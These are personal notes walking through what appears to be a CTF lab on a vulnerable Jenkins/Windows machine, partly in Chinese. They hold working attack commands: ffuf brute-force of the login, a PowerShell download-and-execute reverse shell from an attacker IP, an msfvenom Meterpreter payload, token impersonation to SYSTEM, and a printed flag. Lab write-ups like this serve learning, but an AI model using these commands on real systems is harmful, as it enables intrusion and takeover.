# Alfred
[TOC]
###### tags: `vulnerableMachine`

Automation server(Jenkins - This tool is used to automatically deploy their code once they made change to it.

Jenkins 是一個開源的持續整合 (Continuous Integration) 工具，用於支援軟體開發團隊的持續整合和部署流程。它可以自動執行測試、打包、部署等操作，並通知團隊成員異常。通過使用 Jenkins，開發團隊可以更快速地檢測問題並修正它們，提高軟體品質。

## Initial Access

>How many ports are open? (TCP only)



Ans 3

---

>What is the username and password for the log in panel(in the format username:password)

loin page -> we could try brute attack and try to find out the account and password


ffuf -u http://10.10.212.65:8080/j_acegi_security_check -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "j_username=w1&j_password=w2" -w fasttrack.txt:w1,rockyou.txt:w2 -fc 200 

ffuf -u http://10.10.239.38:8080/j_acegi_security_check -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "j_username=admin&j_password=FUZZ" -w rockyou.txt -mr "Invalid username or password" 

admin:admin


### Power shell



powershell iex (New-Object Net.WebClient).DownloadString('http://10.17.11.72:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.17.11.72  -Port 443

new webclien

iex -> remote download and execute it

### Shell Mode
- Bind
- Reverse




## Switching Shells

Meterpreter

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.17.11.72 LPORT=80 -f exe -o meowshell.exe

TCP Handler


Running on Power Shell

powershell iex (New-Object System.Net.WebClient).Downloadfile('http://10.17.11.72:8000/meowmeowshell.exe','meowmeowshell.exe')

or

Invoke-WebRequest -Uri http://10.17.11.72:8000/meowmeowshell.exe -OutFile .\meowmeowshell.exe

Execute the shell

Start-process meowmeowshell.exe

Get it !!!


## Privilege Escalation

Goal: using the token to gain system access.

LSASS.exe



### Token type


### impersonate token (Process)


>View all the privileges using whoami /priv


---


---



---

To check which tokens are available (Group)



---

impersonate local systems



## Now we have to migrate

Due to windows uses the Primary Token of the process and not the impersonated token to determine what the process can or cannot do


migrate
AUTHROITY\SYSTEM


migrate 668


dff0f748678f280250f25a45b8046b4a